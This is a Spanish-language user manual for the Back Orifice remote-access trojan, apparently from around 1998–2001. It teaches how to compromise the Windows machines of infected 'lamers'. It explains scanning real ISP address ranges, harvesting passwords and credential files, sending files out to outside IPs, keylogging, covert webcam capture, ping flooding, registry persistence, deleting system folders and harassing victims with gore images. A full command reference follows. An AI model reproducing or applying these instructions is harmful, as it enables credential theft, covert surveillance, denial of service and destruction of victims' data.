

MANUAL DE BO 1.2 CASTELLANO

Version 2.1

Autor :ReSeT Productions

PARTE I

Prefacio.

Este manual está orientado para sacar el máximo partido al BO.
No obstante, uno debe tener claro, qué es lo que realmente pretende violando sistemas remotos de los nuevos venidos al mundo de inet.

El usuario de BO puede pretender:

- Obtener + Cuentas de conex y de servicios a red.
- Explorar sistemas remotos (aunque haya poco k explorar XDDD)
- Usar el nodo de conex del lamer para otros fines.
- Para reirse y pasar un rato divertido a costa del lamer.

1) OBTENER + CUENTAS DE CONEXIÓN Y SERVICIOS A RED.

Bueno, lo típico; tan sencillo como teclear "passes" y te salen los passes de la máquina.

Fácil, ¿no? . Ya.... pero uno se pregunta si realmente sirve de algo coleccionar passes de otra gente si generalmente cada uno tiene su ISP que no falla nunca y va tira bien.

Bueno, como diría algún filósofo que ahora nomacuerdo, las cosas inútiles son a veces las más útiles. Coleccionar cuentas de muchos servidores sirve para:

- 1 - Tener versatilidad de IP = poder burlarse de controles de fowarders que filtran IPs.
- 2 - Experimentar los más y los menos de cada servidor.
- 3 - Aprender muchas DNS. ¿Sirve de algo? desde luego. Una persona que sabe Dns, sabrá y recordará fácilmente IPs, lo que hará coger gran agilidad a la hora de usar con dichos números.

Introducción a las DNS:

El DNS(Domain Names Server) es el rango de direcciones(o dominio)en que un ISP(Internet server Provider) puede nombrar a sus clientes. Cómo nombra a sus clientes?

con el número de IP (Internet Protocol = que tb es un protocolo ICMP) El número está formado por cuatro octetos(octetos=8 bits=2^8=256), los cuales están formados por un número de 0 a 255.

La IP tiene la estructura:

1er Octeto: Designa el número de red y designan a redes tipo "A" (mu grandes)

Se evita el 0, 127 y 255. ¿por qué?

El 0 se usa para una máquina que no se sabe desde qué red opera, ej: 0.0.0.23; nos encontramos con un host 23 que no tenemos ni idea desde dónde se conecta.

El 127 porque cumplen especificaciones especiales.

El 255 son direcciones de difusión(broadcast), es decir que cada sistema en una red puede ver. Digamos un símil: es un mensaje masivo en el IRC. XD

2o Octeto: Designa redes tipo "B". Vamos a ver, matemáticas: 256*256=64516 nodos! Son tipo

B pero n'heu ni dó. Si tenemos encuesta que casi todos los ISP usan IPs dinámicos, nos sobran números; y por eso se usa una solución, establecer redes tipo "C" para ir ampliándolas a partir del tercer octeto.

3er octeto: 256 nodos al mismo tiempo. Ya no son tantos. Por eso, por ej, arrakis tiene una especificación tipo "C" con un dominio de 13 octetos (por ahora)

Con el Bo, la forma de barrer dominios es "sweep" (to sweep=barrer), y como un sweeper o barrendero se tratase, la forma para encontrar lamers infectados con el bo es poniendo sweep y los 3 octales. Ej BO> SWEEP 195.55.158 (a ver el subdominio de JET...) He aquí una pequeña lista de dominios que he recopilado con mi esfuerzo:

62 . 81. 70-75 Retevision Barcelona
68 Retevision Madrid
81-88 Retevision Madrid
158. 42. 52 Upv (Universidad politécnica de valencia)
158.109. 9 Uab (Universidad autónoma de Barcelona)
194. 55.158 Jet
194.105. 5 Servicom
194.143.192 Encomix
194.179.106 Infernet
194.179.111 Gru
194.158. 88 Mypic.ad
194.224.200 Activanet
195. 5. 65-78 Arrakis
195. 53. 32 Abonad.cat
195. 53.232 Recol
195. 55. 11 Uniovi (Universidad de Oviedo)
195. 57.199 Idecnet
195. 76.154 Intercom
195. 77. 10 Upcnet (Universidad Politécnica de Catalunya, jeje, de donde yo vengo)
195. 77.101 Abaforum
195. 77.155 Minorisa
195. 77.240-241 Olivet
195.122.194-208 Redestb
195.122.174 Tekres
195.212. 25 Ctv
195.235. 57 Meditex
195.235. 32 Rad.tsai
206.117.176 Fx.org
207. 77.168 Hobbess.cis.net
208.164. 31 Pc-1080
212. 25.132-138 Ctv

Además, para máxima comodidad, he decidido incorporar una referencia a servidores con sus respectivos DNSs primario y secundario respectivamente para configurac de redes. Lo de AB es el ancho de banda del servidor. El correo electrónico corresponde al administrador. Con un poco de imaginación, se puede "usar" dicho correo para nuestro beneficio. Pidiendo datos específicos de los servidores como el número de usuarios en determinada hora para hacer una estadística, y determinar el grado de saturación...

=====Infovia=====

DNS: 194.224.185.2

DNS: 194.224.185.5

=====ARRAKIS=====

PVP:3000/m AB:34 MB DNS:195.5.64.2

URL: www.arrakis.es admin@arrakis.es DNS:195.5.64.6

IRC: andromeda.irc;pleyades.irc;fuego.irc;orion.irc tel: 902.22.21

=====CTV=====

PVP:1500/m (5000a) AB:34 MB DNS: 194.179.52.2

URL:www.ctv.es comercial@ctv.es DNS: 194.57.142.21

IRC: europa.irc tel: 902.44.45.55
=====JET=====

Mens: 3500
IRC: polaris.irc AB: 34 MB
DNS: ????

=====REDESTB=====

PVP:1500/M	AB: 3400	DNS: ????
URL: www.redestb.es	redestb@redestb.es	DNS: ???
IRC: pulsar.irc	tel 91.891.44.81	

=====SENDANET=====

	DNS: 194.179.73.2
	DNS: 194.179.73.8

=====SERVICOM=====

PVP:3700	AB: ???	DNS: ????
URL: www.servicom.es	sac@servicom.es	DNS: ????
irc: sirius.irc	Tel: 902.22.66.22	

=====TELELINE=====

PVP: 1500	AB: ???	DNS: 194.224.53.3
URL: www.teleline.es	info@teleline.es	DNS: 194.224.53.3
IRC: Ninguno	Tel: 902.15.20.25	

ahhhh, de este servidor tengo que hacer una comentario, no lo puedo evitar.
Cómo es posible que anuncien este ISP por el mass media por excelencia "léase televisión" con la gran oferta de un modem de 56 k. Increíble!

Osea ahora los modems de "ahora" tienen 56 k de ram o rom o yo qué se.
Voy a analizar un poquillo en anuncio.

El ISP se jacta de proporcionar grandes servicios de asistencia a los clientes (en el anuncio los clientes son los monos), y los administradores de dicha red los genios que trabajan al otro lado del cristal. Pues bien, no voy a entrar en comeduras psicologistas del doble juego de los publicistas a la hora de representar la situación con semejantes esperpentos de símiles. Pero lo que me revienta es al final el genio de turno diciendo eso de, "y si conecta ahora a teleline le regalamos un modem de 56 k."!!!

pero qué es eso??

ahora me entero que los modems de ahora van a 56 k! ¿56 k? por segundo????

pero si son mejores que los RDSI que van a venir y todo!

no no

no confundamos a los monos.

se refieren a un modem de 56000 baudios.

Sin entrar en tecnicismos de paridad, el CRC y tal y cual, diremos que cada baudio es un bit y 8 bits es un byte. y 1024 bytes es 1 Kb.

osease.

un modem de esas características tiene llega a un flujo DI o DO (data IN o OUT) de.... casi 7 kb/s.

Eso sin contar que no veremos esa velocidad con "nuestra" maravillosa infovía hasta dentro de un tiempo,

Creo yo que el futuro pasa por el cable y el futuro más lejano por

un cambio de especificación de protocolo para implementar una comunicación por satélite.

Eps, que me voy de la olla. ¿esto qué éh¿, un cajón de sastre o un manual de bo... :/

Volvamos:

- El bo cuando pillas una cuenta, suele pillar otros datos que vienen en forma de basurilla al lado del password... cómo entonces diferenciar el password de lo que no lo es? pues para eso el bo, inteligentemente reitera un password varias veces para que por exclusión saquemos el password.

Si tenemos:

Password: 'jose1233ÖÖst\Sites\Arrakis\

Password: 'jose613Ñ,'
Está claro que el password es 'jose' por extrusión.

El BO tb proporciona passwords de páginas web, pero yo no he conseguido entrar con dichos passwords a NINGUNA.... :(¿por qué?

Ej:

Resource: 'members.hardcoresex.com/live xxx videos' Password: 'teqtero:141533'
se trata de un club xxx, pero, el login y el password cuál es? teqtero
y 141533 respectivamente???? Pruebo... pues no! qué falla?
si alguien sabe la respuesta que me lo haga saber:
reset20_98@yahoo.com

EXPLORAR SISTEMAS REMOTOS

Los sistemas remotos usan windows 95 o windows 98 (cada vez más..), si yo tb tengo eso, qué es lo que hay que explorar..?¿

Con explorar me refiero a aprender a discriminar lo importante de un sistema de lo que no tiene ningún valor.

Digamos, que cuando entras en un sistema y haces un "dir", te situas más o menos de quien se trata. Yo he entrado en "bastantes" sistemas y la experiencia me dice que los "dirs" a primera vista son bastante sugestivos. Pero no obstante, el bo implementa una función llamada find para localizar ficheros, ¿por algo será no?

Yo personalmente prefiero entrar siempre con telnet al command (ver PARTE II) y hacer un dir a *.* /s, cuestión de gustos. Luego copio todos los ficheros de interés a un directorio dentro del temporal windows y me mediante un httpn 40 c:\windows\temp\recolecta recojo la "RECOLECTA"

Qué es lo que interesa de un sistema???

pues....

- Los archivos PWL, guardan todos los passwords de internet y de conex a redes; osease lo que hace el bo con "passes", lo puedes hacer tu manualmente obteniendo el programilla crackeador pwlcrack.exe y haciendolo tu manualmente.

- System.ini, con el login y password que guardan los pwl.

- scytale.log, si el lamer guarda logs, ahí estarán las claves de autenticación.

Tengo conocimiento de un caso, en el cual la víctima era una administradora de un canal que no voy a comentar, el cual los listos con pseudónimo "kpullazo" y "kabron2" se autentificaron y cambiaron el password, así, la verdadera administradora no podía autentificarse.

Mientras los otros tomaron entre risas y burlas el canal... y la gente atónita con tan sublime espectáculo, los dos "listos" pasaron por hackers como los de las películas y los periódicos de verdad.

- tree.dat, del cufteftp con las claves de direcciones FTP que se pueden crackear con cutecrack

- eudora.ini, passwords del mail eudora.

Bueno, a parte de eso, puedes "chafardear" con los logs y documentos personales; como los curriculum vitae que tanto aparecen, las fotos personales, apuntes y trabajos de la escuela e informes y todo.

Mi experiencia me indica que "chafardear" es tan lúdico como ver la televisión, por lo que si no tienes una 900 (la mía sacabo hace 3 días sniff...), mejor ver ésta

última porque los bolsillos lo notarán. XDD. Mi opinión es que leer logs y tal es comparable a leer revistas del corazón, osea tremendamente idiota y tonto hacerlo sistemáticamente.

USAR EL NODO DE CONEXIÓN DEL LAMER PARA OTROS FINES

Público - Cómo? no entiendo.... qué esto?

ReSeT - Sencillamente usar el módem del lamer para otros menesteres.

Por ejemplo, pinguear a alguien a través del comando PING que es nativo del "maravilloso" GÜindows. o pinguear a "Muchos"

Para quien no sabe muy bien qué es un PING le diré que es un paquete ICMP con el flag SYN, . y que está obligado a quien lo recibe a contestar con otro paquete de respuesta (el echo que se llama, echo=eco) de ahí eso de echo requester=petición de eco.

Generar muchos pings no consume casi AB de conex y contestarlos, en cambio, bastante.

De esta forma, si mandas muchos pings a una máquina, está se dedicará a contestar tus pings y le irás comiendo progresivamente AB hasta que le satures completamente la conex porque ésta sólo se dedica a contestar tus pings... es en este momento en que el servidor IRC "ve" que dicha máquina no está disponible y es expulsada del IRC.

El ping flood ha sido llevado a cabo con éxito. (to flood=inundar). Claro que si pingueas desde varios puntos, la víctima será floodeada con más éxito.

Ya que si la máquina "sólo" se dedica a hablar por IRC, dicha actividad consume un AB muy pequeño y será más difícil pinguearla.

Más fines, más.....

La opción redireccionamiento que tanto gusta a los boadictos. Y no es para menos.

Tengo que reconocer que yo no tengo mucha experiencia en esto y ni me he encontrado con nadie que me explique cosass claramente. Solicito ayudaaaaa reset20_98@yahoo.com

Para pasar anónimo: rediradd 666 (servidor ip nuevo):31337

Tb hay un truquillo de redireccionamiento que se trata de provocar un reset by peer a la víctima haciéndolo tu tb con un clon. Proceso:

averiguar la dns del servidor irc el cual está el lamer. con >/dns irc.redestb.es (por ej.) para poner puesta a punto su pc poner:

BO> REDIRADD 1001 XXX.XXX.XXX.XXX:6667 , donde XXX.XXX.XXX.XXX es el dns del servidor irc

En status(del segundo irc que abres) poner:

>/server XXX.XXX.XXX.XXX:1001

Estoy casi seguro que esta función es la más interesante del BO, pero no he sabido encontrar gente que sepa sobre esto... :(ayudaaaaa

PARA REIRSE Y PASAR UN RATO DIVERTIDO A COSTA DEL LAMER

Esta parte podría ocupar un tomo de 500 páginas de cómo sadiquear con tu víctima hasta la extenuación.

Voy a contar mis peripecias:

- Susto "visual": un día me pasaron una foto realmente asquerosa que no voy a describir porque no quiero que me vuelvan a entrar arcadas... bueno. la cuestión que se me ocurrió por mediación de NETBUS y su opción SHOWIMAGE, mostrar la imagen

a uno de mis lamers. (por cierto, si alguien ha encontrado el fichero app.exe como nombre del server del netbus, ese es mi lamer). El proceso es sencillo:

```
bo> HTTPON 40 C:\WINDOWS
IE HTTP:\\XXX.XXX.XXX.XXX:40
NETBUS UPLOAD-----> FOTO GORE
```

ahora el intriculis.... qué sentido tiene mandar la foto si no te enteras de la cara que pone, ni siquiera sabrás a ciencia cierta si la va a ver...

pues para qué sirve el comando CAPAVI?

Claro que para ello tiene que tener una webcam, algo que tampoco es tan difícil si pillas a mucha gente cada día... con

```
BO> LISCAPS
0 webcam ll blah blah
```

efectivamente:

```
bo> CAPAVI C:\WINDOWS\TEMP\CARA.AVI 0,320,200,256
```

ahora rápido:

```
NETBUS SHOWIMAGE -> C:\WINDOWS\IMAGE.JPG
```

justo, para "verle" el careto.

luego tienes que bajarte el archivo y guardarlo en el directorio "trofeos" XDDD

Cuánto okupa?

pues 1,5 MB.... estarás 15 min bajándotelo, o bien, otro día. (lo malo es el directorio temp)... tb se aconseja directorio c:\windows\drwatson\la por qué el dr watson? porque nunca lo encontrará ahí el lamer, seguro que no sabe ni qué es eso... XDD

- Cambiar el fondo del escritorio:

Bajarse el fichero win.ini

Crear con photoshop la imagen que quieras que aparezca en el escritorio del lamer/S. y grabarla xxx.BMP(se recomienda que no okupe toda la pantalla,... si no quieres estar media hora pasándole el archivito...)

Ahora te bajas su win.ini y lo editas con EDIT y con la opción buscar, buscas desktop. La encontrarás:

```
[desktop]
```

```
wallpaper=c:\windows\peces.bmp
```

```
tilewallpaper=0
```

```
wallpaperstyle=0
```

```
pattern=(nono)
```

pues cambiar c:\windows\peces.bmp por c:\windows\xxx.bmp

lo subes otra vez.

ya está.

- Putaditas varias:

cambiar el logo.sys. logow.sys y logos.sys por otras imágenes que te gustaría que el lamer tenga que ver al apagar y encender su sistema.

El logo.sys= windows 95 (ojo! no win98)

El logos.sys =win95/98 mensaje windows preparadose para cerar...

El logow.sys =win95/98 mensaje windows ahora puede apagar el equipo

- Editar el mirc.ini y cambiar lo que se te ocurra.

- en el system.ini: cambiar shell=explorer.exe por shell=progman.exe

Es decir, cambiar el explorer por una especie vestigio del windows 3.11 XDDDDDD

- Cambiar win32help.exe por tour98.exe Es decir, cuando pulse f1 verá un paseo por windows (eso en win 98, en 95 creo que se llama de otra manera) XDDDDDDDDDDDDDD

- Cambiar el registro!

en
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE\....

meter el programa que en el directorio windows quiera que se cargue.
por ejemplo: una imagen grabada .exe o bien, hacer que se carguen muchas chorradas al principio: calc, el write, defrag, mplayer, control, progman, o bien, un programa que reboota directamente, lo malo es que abusar, hará que el lamer se reinstale el windows y nos borrará del registro nuestro "amigo" bo.

PARTE II

En este manual los [] significará que el modificador es de especificación incondicional.
Los () significará que el modificador es de especificación condicional
Los {} significará que el modificador es de especificación optativa

- Aplicaciones de Consola -

APPADD [nombresexe] puertodeentrada

Escribe un texto basado en una aplicación de un puerto TCP.

Con telnet se puede conectar vía:

- 7 echo
- 13 daytime
- 17 qoutd
- 19 chargen
- 23 Telnet

Esto te permite controlar un texto o una aplicación DOS, como

COMMAND.COM vía telnet

usage: appadd "exefilename paramaters" inport

example2: appadd "netstat -na" 998

APPDEL

Para una aplicación de conexiones de escucha

APPDEL - Removes a console application from the redirected console apps

usage: appdel appid

example: appdel 0

APPLIST

Lista las aplicaciones actualmente en escucha de conexión.

-COMANDOS DE ARCHIVOS

CD [ruta]

Para acceder a directorios de nombres largos se ha de poner entre paréntesis.

Por ejemplo si se quiere acceder al directorio <mis documentos> se ha de teclear:

cd "mis documentos"

MD [ruta]

Crea directorio

Los directorios que es interesante crear son los que el server crea que son de sistema por ejemplo c:\windows\temp

RD [ruta]

Borra directorio.

Si hay alguien que realmente se lo merece, los directorios que pueden

ser interesantes de borrar son: c:\windows\fonts; c:\windows\win32\c:\windows\system

DIR {ruta}

Directorio

Admite wildcards

FIND [fichero] [ruta]

: encuentra ficheros dentro de los subdirectorios de la ruta. Admite wildcards.

He aquí una lista de tipos de archivos:

AVI:(Animation Video Interface) Para animaciones

MP3: Música MP3

MPG: Peliculillas...

LOG: Para leer los logs del lamer

COPY [origen] [destino]

copia un archivo.

usage: copy sourcefilename targetfilename

example: copy c:\windows\system\bo.exe \\server\c:\windows\startm~1\programs\st

REN [origen] [destino]

Renombra un archivo o directorio.

usage: ren oldfilename newfilename

example: ren c:\windows\fonts c:\windows\f

DEL [fichero]

: borra un archivo

FREEZE [fichero] [fichero_comprimido]

FREEZE - Compresses a file. Esta instrucción no admite wildcards, por lo que sólo funciona con un archivo.

Recomendaría llamar a los archivos comprimidos .frz.

ejemplo: freeze c:\windows\temp\cap.bmp c:\windows\temp\c

MELT [fichero_comprimido] [fichero]

Descomprime un archivo

ejemplo: melt c:\windows\temp\t c:\windows\desktop.bmp

VIEW

Ve un archivo de texto

VIEW - Views a textfile

usage: view filename

example: view c:\windows\system.ini

-REDIRECCIONAMIENTO-

REDIRADD: redirecciona las conexiones RCP o los paquetes UDP a otra dirección IP

REDIRADD - Adds a port redirection

usage: rediradd inputport outputip:port,udp

example1: rediradd 33331 205.183.56.7:31337,U

example2: rediradd 1001 207.213.15.11:23

note: If no output port is provided the input port is used.

REDIRDEL: para el redireccionamiento de un puerto

REDIRDEL - Deletes a port redirection

usage: redirdel redirnumber

example: redirdel 0

REDIRLIST

REDIRLIST - Lists the current port redirections

- REGISTRO-

REGMAKEKEY [llave]

Crea una llave en el registro

No especifique la cabecera \\ para los valores de registro.

Los registros son:

- hkey_classes_root

- hkey_current_user

- hkey_local_machine

- hkey_current_config

ejemplo: regmakekey HKEY_LOCAL_MACHINE\SOFTWARE\MyWare

REGDELKEY [llave]

Borra una llave del registro

ejemplo: regdelkey HKEY_LOCAL_MACHINE\SOFTWARE\MyWare

REGDELVAL [nombre del valor]

Borra un valor del registro

ejemplo: regdelval

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Run\netwatcher

REGLISTVALS [llave]: lista los valores de una llave de registro.

Si está incompletamente especificada muestra solo el número de llaves creadas en dicho registro. Nota: este comando suele tardar un tiempo en ejecutarse... es bastante inestable

y

se recomendaría ejecutarlo en el GUI client.

REGSETVALS:

Fija un valor para una llave de registro, creándola si ésta no existe..

- BIN: AF,2B...

- DWORD: 1

- S: Cadena

usage: regsetval valuname type,value

example1: regsetval HKEY_LOCAL_MACHINE\SOFTWARE\BinaryValue

B,08090A0B0C0D0E0F10

example2: regsetval HKEY_LOCAL_MACHINE\SOFTWARE\DwordValue D,54321
example3: regsetval HKEY_LOCAL_MACHINE\SOFTWARE\StringValue "S,This is a stringvalue"
note: Binary values (type B) are specified in two digit hex values, Dword values (type D) in decimal

RESOLVE: da el host
RESOLVE - Resolves the ip of a hostname from the remote host
usage: resolve servername
example: resolve server2

-SISTEMA-

DIALOG: crea un diálogo con el texto dado y un OK. Puedes hacer muchos y si aparecerán en el servidor en forma de cascada
usage: dialog dialogtext titletext
example: dialog "Get back to work you lazy bum!" "A message from the management:"

INFO: muestra información sobre el servidor:
Por ejemplo:
System info for machine 'DEFAULT'
Current user: 'pallares'
Processor: I586
Win32 on Windows 95 v4.10 build 1998 -
Memory: 31M in use: 100% Page file: 94M free: 63M
C:\ - Fixed Sec/Clust: 32 Bytes/Sec: 512, Bytes free: 65077248/848199680
D:\ - Fixed Sec/Clust: 64 Bytes/Sec: 512, Bytes free: 2069626880/2.130.018304
E:\ - CD-ROM
End of system info

nombre de máquina
usuario
CPU
Version del sistema operativo
memoria disponible
Información de unidades (bytes/sec, bytes libres)

LOCKUP: Bloquea el sistema del server
PASSES: Te da los passwords de conexión y otros...
REBOOT: apaga el sistema y reboota

-TCP-

TCPRECV: conecta el servidor a un IP específico y puerto y guarda algo de datos de esa conexión a un fichero especificado.

TCPRECV - Connects the server to an ip and receives a file

usage: tcprecv filename targetip:port

example: tcprecv c:\file 206.165.128.130:999

TCPSEND: Conecta el server a un IP específico y envía los contenidos a un fichero específico. Entonces desconecta.

nota: una utilidad para hacer esto es NETCAT

Netcat -1 -p 666 >file -----> desde el server

Netcat -1 -p 666 <file-----> al server

TCPSEND - Connects the server to an ip and sends a file

usage: tcpsend filename targetip:port

example: tcpsend c:\file 206.165.128.130:999

-PLUGINS-

PING: retorna el nombre de la máquina y la versión del BO. Interesante para ver si la máquina vive o ha desconectado.

PLUGINEXEC

Ejecuta un plugin del Back Orifice. Si es de otro programa puede bloquearse el sistema del server

usage: pluginexec dllname:pluginname pluginargs

example: pluginexec bos:_SniffPasses 0001 c:\sniff.log

PLUGINKILL: apaga algún plugin específico

PLUGINKILL - Tells a plugin to terminate

usage: pluginkill pluginid

example: pluginkill 0

PLUGINLIST: lista los plugins activos o retorna los plugins que existen

PLUGINLIST - Lists active plugins

-PROCESOS-

PROCKILL: termina el proceso

PROCKILL - Kills a running process

usage: prockill processid

example: prockill 4294651219

note: processid's are listed by PROCLIST

PROCLIST: lista los procesos en marcha

PROCSPAWN: carga un programa

Desde GUI: si el segundo parámetro es especificado el proceso será ejecutado como visible.

De otra manera será oculto.

PROCSPAWN - Spawns a process

usage: procspawn exename arguments

example: procspawn command.com /C netstat -na > c:\windows emp

HTTPOFF: quita el servidor HTTP

HTTPON: pone el servidor HTTP

HTTPON - Enables the http server

usage: httpon port root

example1: httpon 80 c:\www

example2: httpon 9999

note: If no root is supplied, all drives are accessible via http

KEYLOG:

logea las pulsaciones del server a un fichero de texto

KEYLOG - Logs keystrokes to file

usage: keylog logfilename

example: keylog c:\windows\temp\tl

note: Use 'keylog stop' to end keyboard logging

KEYLOG END: para el logeo

-MULTIMEDIA-

CAPAVI [ficheroavi] [segundos]{,dispositivo,anchura,altura,numcolores}

Captura video de un dispositivo de captura de video los segundos especificados

Ejemplo: capavi c:\windows\desktop\you.avi 10,0,160,120,16

CAPFRAME [nombrebitmap] {dispositivo,anchura,altura,numerodecolores}

Captura la imagen de un dispositivo de imagen como una webcam.. Este comando para que funcione debe existir dicho dispositivo de imagen (lo comprobamos con listcaps) y luego a de estar encendido. Lo que le hace un comando muy restrictivo...

Los valores determinados son 0,640,480,16

Ejemplo c:\windows\temp\webcam.bmp 0,320,200,16

CAPSCREEN [nombrebitmap]

Captura la pantalla del sever a un fichero mapa de bits nombrado nombrebitmap

example: capscreen c:\windows\temp\pantalla_del_lamer.bmp

LISTCAPS

Lista los dispositivos que pueden capturar video.

Naturalmete si muestra alguno dará luz verde para que CAPFRAME capture algo de interés...

ex LISCAPS:

0: miroVIDEO DC20, Motion JPEG Capture/CODEC Board Version: 0.1.0.3

SOUND [ficherowav]
Reproduce un WAV en el servidor
example: sound c:\mirc\sound\burro.wav

-NET-

NETLIST: lista las conexiones de red.

Mensajes de error:

Current connections:

Error 1222:Falta la red o bien no se ha iniciado opening network enumeration

Persistent connections:

Incomming connections:

NETDISCONNECT

Desconecta los dispositivos de red, dominiosm servidores y exportaciones visuales de la máquina servidora.

NETDISCONNECT [entornodered]

Desconecta la máquina del entorno de red

example: netdisconnect \serverdmin\$

NETCONNECT [entornodered] {password}

: conecta la máquina a un entorno de red.

ejemplo: netconnect \serverdmin\$ s3cur3

Bajado desde :

www.softdownload.com.ar

info@softdownload.com.ar

Abril de 2001